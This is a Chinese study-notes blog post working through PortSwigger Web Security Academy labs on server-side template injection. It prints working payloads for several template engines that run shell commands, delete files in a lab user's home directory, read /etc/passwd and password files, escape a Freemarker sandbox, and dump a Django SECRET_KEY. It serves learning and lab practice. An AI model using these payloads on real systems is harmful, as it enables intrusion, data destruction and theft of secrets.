Server-side template injection (SSTI)学习笔记

笔者burpsuite的在线安全学院的ssti学习笔记。文章质量不是很高,假如有看到的大佬轻喷,很多地方是Google翻译的。这是burrpsuite学院的地址

文章目录

  • 阅读文档
    • 了解基本模板语法
      • Lab: Basic server-side template injection
      • Lab: Basic server-side template injection (code context)
    • 了解安全隐患
      • Lab: Server-side template injection using documentation
    • 寻找已知漏洞
      • Lab: Server-side template injection in an unknown language with a documented exploit
  • 探索
    • 开发人员提供的对象
      • Lab: Server-side template injection with information disclosure via user-supplied objects
  • 创建自定义攻击
    • 使用对象链构造自定义漏洞
      • Lab: Server-side template injection in a sandboxed environment
    • 使用开发人员提供的对象构造自定义漏洞
      • Lab: Server-side template injection with a custom exploit

阅读文档

文档是最有用的信息来源,例如,一旦您知道正在使用基于Python的Mako模板引擎,实现远程代码执行就可以很简单

<%
import os
x=os.popen('id').read()
%>
${x}

在无沙盒环境中,实现远程代码执行并将其用于读取,编辑或删除任意文件在许多常见模板引擎中都同样简单。

了解基本模板语法

Lab: Basic server-side template injection

基于ERB模板的ssti,要解决此问题,请查看ERB文档以了解如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。

  1. 当查看有关第一个产品的详细信息时,GET请求将使用message参数呈现"Unfortunately this product is out of stock"
    Server-side template injection (SSTI)学习笔记_第1张图片
  2. 在ERB文档中,发现该语法<%= someExpression %>用于评估表达式并将结果呈现在页面上
  3. 使用ERB模板语法创建包含数学运算的测试payload,例如:<%= 7*7 %> ,然后url编码payload再请求
    Server-side template injection (SSTI)学习笔记_第2张图片
  4. Ruby文档中的system()方法,该方法可用于执行任意操作系统命令
  5. …省略一些尝试
  6. 构造payload以删除Carlos的文件,如下所示:<%= system("rm /home/carlos/morale.txt") %>,url编码一下就是 https://your-lab-id.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
  7. 成功后,lab会有提示在这里插入图片描述

Lab: Basic server-side template injection (code context)

Tornado模板的ssti,要解决此问题,请查看Tornado文档以发现如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
username = wiener
password = peter
提示:请仔细查看“首选名称”功能。

  1. 通过Burp代理流量时,登录并在其中一篇博客文章上发表评论。
  2. 注意到,在“我的帐户”页面上,您可以选择是否要网站使用您的全名,名字或昵称。当您提交您的选择,一个POST请求设置参数的值blog-post-author-display要么user.name,user.first_name或user.nickname。当加载包含评论的页面时,评论上方的名称将根据该参数的当前值进行更新。Server-side template injection (SSTI)学习笔记_第3张图片
    Server-side template injection (SSTI)学习笔记_第4张图片
    Server-side template injection (SSTI)学习笔记_第5张图片

Server-side template injection (SSTI)学习笔记_第6张图片

  1. 在Burp中,转到“代理”>“ HTTP历史记录”,找到设置此参数的请求POST /my-account/change-blog-post-author-display,然后将其发送到Burp Repeater。
  2. 研究Tornado文档,发现模板表达式用双花括号包围,例如{{someExpression}}。在Burp Repeater中,请注意,您可以转出表达式并按如下所示注入任意模板语法:blog-post-author-display=user.name}}{{7*7}}Server-side template injection (SSTI)学习笔记_第7张图片
    https://www.tornadoweb.org/en/stable/template.html
    Server-side template injection (SSTI)学习笔记_第8张图片
    Server-side template injection (SSTI)学习笔记_第9张图片
  3. 重新加载包含您的测试注释的页面。请注意,用户名现在Peter Wiener49}}显示为,表明代码上下文中可能存在服务器端模板注入漏洞。回头看评论区,发现被计算。Server-side template injection (SSTI)学习笔记_第10张图片
  4. 在Tornado文档中,确定用于执行任意Python的语法:{% somePython %}
  5. 学习Python文档,发现通过导入os模块,您可以使用该system()方法执行任意系统命令。结合这些知识来构造可删除Carlos文件的有效负载:{% import os %}{{os.system('rm /home/carlos/morale.txt')
  6. 在Burp Repeater中,返回POST /my-account/change-blog-post-author-display。中断表达式,然后将有效负载注入参数中,记住对URL进行如下编码:blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
  7. 重新加载包含评论的页面。
    Server-side template injection (SSTI)学习笔记_第11张图片

了解安全隐患

除了提供有关如何创建和使用模板的基础知识之外,文档还可能提供某种“安全性”部分。本部分的名称会有所不同,但通常会概述人们应避免使用模板进行的所有潜在危险操作。这可能是非常宝贵的资源,甚至可以充当备忘单,您在审核期间应针对其寻找行为以及如何利用它们。
即使没有专门的“安全性”部分,如果特定的内置对象或功能可能会带来安全风险,则文档中几乎总会出现某种警告。该警告可能未提供太多详细信息,但至少应将此特定内置标记为需要调查的内容。
例如,在ERB中,文档显示您可以列出所有目录,然后按以下方式读取任意文件:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Lab: Server-side template injection using documentation

Lab: Server-side template injection using documentation

确定模板引擎并使用文档确定如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
您可以使用以下凭据访问自己的帐户:
用户名= content-manager
密码= C0nt3ntM4n4g3r
提示:您应该仅使用文档来尝试解决此实验室。但是,如果您真的陷入困境,可以尝试使用@albinowax找到一个著名的漏洞,可以用来解决lab。

  1. 登录,随便编辑一个产品描述模板。这个模板引擎使用语法${someExpression}在页面上呈现表达式的结果。更改一个表达式引用不存在的对象(例如)${foobar},然后预览。输出中的错误消息表明正在使用Freemarker模板引擎。Server-side template injection (SSTI)学习笔记_第12张图片
  2. 研究Freemarker文档,发现附录包含“问题”部分,其中包含问题“我可以允许用户上传模板,并且对安全有何影响?”。答案描述了new()内置的危险。
    http://freemarker.foofun.cn/app_faq.html
    Server-side template injection (SSTI)学习笔记_第13张图片
  3. 转到文档的“内置参考”部分,并找到的条目new()。此项进一步描述new()了安全问题,因为它可用于创建实现该TemplateModel接口的任意Java对象。
  4. 加载TemplateModel该类的JavaDoc ,并查看“所有已知的实现类”列表。观察到有一个名为的类Execute,该类可用于执行任意的shell命令。尝试构建payload,或者在我们的研究页面上找到@albinowax的漏洞利用程序,并进行如下调整:<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
  5. 删除之前输入的无效语法,然后payload插入模板。预览模板就可以执行成功Server-side template injection (SSTI)学习笔记_第14张图片

寻找已知漏洞

利用服务器端模板注入漏洞的另一个关键方面是善于在线查找其他资源。一旦能够识别出正在使用的模板引擎,就应该浏览Web以查找其他人可能已经发现的任何漏洞。由于某些主要模板引擎的广泛使用,有时可能会找到有据可查的利用程序,您可以对其进行调整以利用自己的目标网站。

Lab: Server-side template injection in an unknown language with a documented exploit

请注意,当您尝试查看有关第一个产品的更多详细信息时,GET请求将使用message参数呈现"Unfortunately this product is out of stock"在主页上。
通过注入含有来自各种不同的模板语言,如模板语法一个fuzz 字符串${{<%[%'"}}%\,在message参数。注意,当您提交无效的语法时,输出报错,标识该网站正在使用Handlebars。Server-side template injection (SSTI)学习笔记_第15张图片
搜索“ Handlebars服务器端模板注入”。找到发行的知名漏@Zombiehelp54。
可以看安全客翻译的这篇文章

修改此漏洞利用程序,使其调用require(“child_process”).exec(“rm /home/carlos/morale.txt”)如下:

wrtz{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Server-side template injection (SSTI)学习笔记_第16张图片
对payload进行url编码,并将其添加为URL中message参数的值

https://your-lab-id.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d

加载URL,解决lab。
Server-side template injection (SSTI)学习笔记_第17张图片

探索

此时,您可能已经在使用文档的过程中偶然发现了可行的漏洞利用方法。如果不是,则下一步是探索环境并尝试发现您有权访问的所有对象。
许多模板引擎公开某种“自我”或“环境”对象,其作用类似于命名空间,其中包含模板引擎支持的所有对象,方法和属性。如果存在这样的对象,则可以潜在地使用它来生成范围内的对象列表。例如,在基于Java的模板语言中,有时您可以使用以下注入方式列出环境中的所有变量:

${T(java.lang.System).getenv()}

这可以为创建可能感兴趣的对象和方法进行进一步研究的清单的基础。此外,对于Burp Suite Professional用户,Intruder提供了内置的单词列表,用于强制使用变量名。

开发人员提供的对象

重要的是要注意,网站将同时包含模板提供的内置对象和Web开发人员已提供的定制的,特定于站点的对象。您应该特别注意这些非标准对象,因为它们极有可能包含敏感信息或可利用的方法。由于这些对象可能在同一网站中的不同模板之间变化,因此请注意,在找到一种利用它的方法之前,可能需要在每个不同模板的上下文中研究对象的行为。
尽管服务器端模板注入有可能导致远程代码执行和服务器的完全接管,但实际上这并非总是可以实现的。但是,仅仅因为您已排除了远程执行代码,并不一定意味着没有其他可能的利用方式。您仍然可以利用服务器端模板注入漏洞来进行其他高严重性利用,例如目录遍历,以访问敏感数据。

Lab: Server-side template injection with information disclosure via user-supplied objects

可以利用SSTI访问敏感数据
username = content-manager
password = C0nt3ntM4n4g3r

  1. 登录并编辑一个产品描述模板
  2. 使用之前的fuzz payload${{<%[%'"}}%\ ,输出中的错误消息显示使用Django框架。
    Server-side template injection (SSTI)学习笔记_第18张图片
  3. 学习Django文档,并注意debug可以调用内置模板标记以显示调试信息。
    在模板中,删除无效的语法,然后输入以下语句以调用debug内置函数:{% debug %}
  4. 预览模板,输出将包含您可以在此模板内访问的对象和属性的列表。重要的是,请注意您可以访问该settings对象。
  5. settings在Django文档中 研究该对象,请注意它包含一个SECRET_KEY属性,如果攻击者知道该属性,则会对安全性造成危险。
    在模板中,删除{% debug %}语句并输入表达式{{settings.SECRET_KEY}}
    预览模板,输出框架的密钥。Server-side template injection (SSTI)学习笔记_第19张图片

单击“提交解决方案”按钮,然后提交密钥以解决实验。

创建自定义攻击

到目前为止,我们主要研究了通过重用已记录的漏洞利用或通过使用模板引擎中的众所周知的漏洞来构造攻击。但是,有时您需要构造一个自定义漏洞利用程序。例如,您可能会发现模板引擎在沙箱内执行模板,这可能使利用变得困难,甚至不可能。
在确定攻击面之后,如果没有明显的方法来利用此漏洞,则应继续使用传统的审核技术,方法是检查每个功能的可利用行为。通过有条不紊地完成此过程,您有时有时可以构造出复杂的攻击,甚至可以利用更安全的目标。

使用对象链构造自定义漏洞

如上所述,第一步是识别您有权访问的对象和方法。一些对象可能会立即变得有趣起来。通过结合您自己的知识和文档中提供的信息,您应该能够汇总出要彻底研究的对象的清单。
在研究对象的文档时,请特别注意这些对象可以访问哪些方法以及它们返回哪些对象。通过深入研究文档,您可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时可以使您获得对危险功能和最初似乎无法到达的敏感数据的访问权限。
例如,在基于Java的模板引擎Velocity中,您可以访问ClassTool名为的对象$class。通过研究文档,您可以链接$class.inspect()方法和$class.type属性以获得对任意对象的引用。过去,已利用此方法在目标系统上执行shell命令,如下所示:$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

Lab: Server-side template injection in a sandboxed environment

本实验使用Freemarker模板引擎。由于沙箱实现不佳,因此容易受到SSTI的影响。要解决此问题,请突破沙箱以my_password.txt从Carlos的主目录读取文件。然后提交文件的内容。
用户名= content-manager
密码= C0nt3ntM4n4g3r
这个lab不太懂,payload是${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

使用开发人员提供的对象构造自定义漏洞

默认情况下,某些模板引擎在安全的,锁定的环境中运行,以便尽可能减轻相关风险。尽管这使得利用此类模板进行远程代码执行变得困难,但是暴露于模板的开发人员创建的对象可以提供进一步的,较少受战斗攻击的攻击面。
但是,尽管通常为内置模板提供大量文档,但是几乎可以肯定根本不记录特定于站点的对象。因此,研究如何利用它们,将需要您手动调查网站的行为以识别攻击面并相应地构建自己的自定义利用。

Lab: Server-side template injection with a custom exploit

该lab容易受到SSTI的攻击。要解决此问题,请创建一个自定义漏洞利用程序,以/.ssh/id_rsa从Carlos的主目录中删除文件。
用户名= wiener
密码= peter

  1. 通过Burp代理流量,登录并在其中一个博客上发表评论。Server-side template injection (SSTI)学习笔记_第20张图片

  2. 转到“我的帐户”页面。请注意,如我们在先前的实验中所见,设置首选名称的功能易受ssti的影响。您还应该注意到您有权访问该user对象。研究自定义头像功能。注意,当您上传无效的图片(我这里上传一个txt)时,错误消息会显示一种称为的方法user.setAvatar()。还要注意文件路径/home/carlos/User.php。稍后将需要上传有效图片作为头像,并加载包含测试评论的页面。在这里插入图片描述重新进入刚才评论的blog,可以看到头像变了
    Server-side template injection (SSTI)学习笔记_第21张图片

  3. 在Burp Repeater中,打开POST更改您的首选名称的请求,Server-side template injection (SSTI)学习笔记_第22张图片
    然后再回到blog加载评论,再使用blog-post-author-display参数将任意文件设置为头像 user.setAvatar('/etc/passwd')Server-side template injection (SSTI)学习笔记_第23张图片

重新加载blog查看报错信息。注意到,错误消息表明您需要提供图像MIME类型作为第二个参数。Server-side template injection (SSTI)学习笔记_第24张图片
提供此参数并再次查看注释以刷新模板:user.setAvatar('/etc/passwd','image/jpg')
要读取文件,请使用加载头像GET /avatar?avatar=wiener。这里用burp看响应,这将返回/etc/passwd文件的内容,确认有权访问任意文件。Server-side template injection (SSTI)学习笔记_第25张图片
重复此过程以读取您先前记下的PHP文件user.setAvatar('/home/carlos/User.php','image/jpg'),读出php源码Server-side template injection (SSTI)学习笔记_第26张图片
注意,在PHP源码里,可以访问该gdprDelete()函数,该函数将删除用户的头像。您可以结合这些知识来删除Carlos的文件。
首先将目标文件设置为您的头像,然后查看注释以执行模板:user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
调用该user.gdprDelete()方法,然后再次查看评论,解决lab。
Server-side template injection (SSTI)学习笔记_第27张图片

你可能感兴趣的:(Web,security,Academy笔记)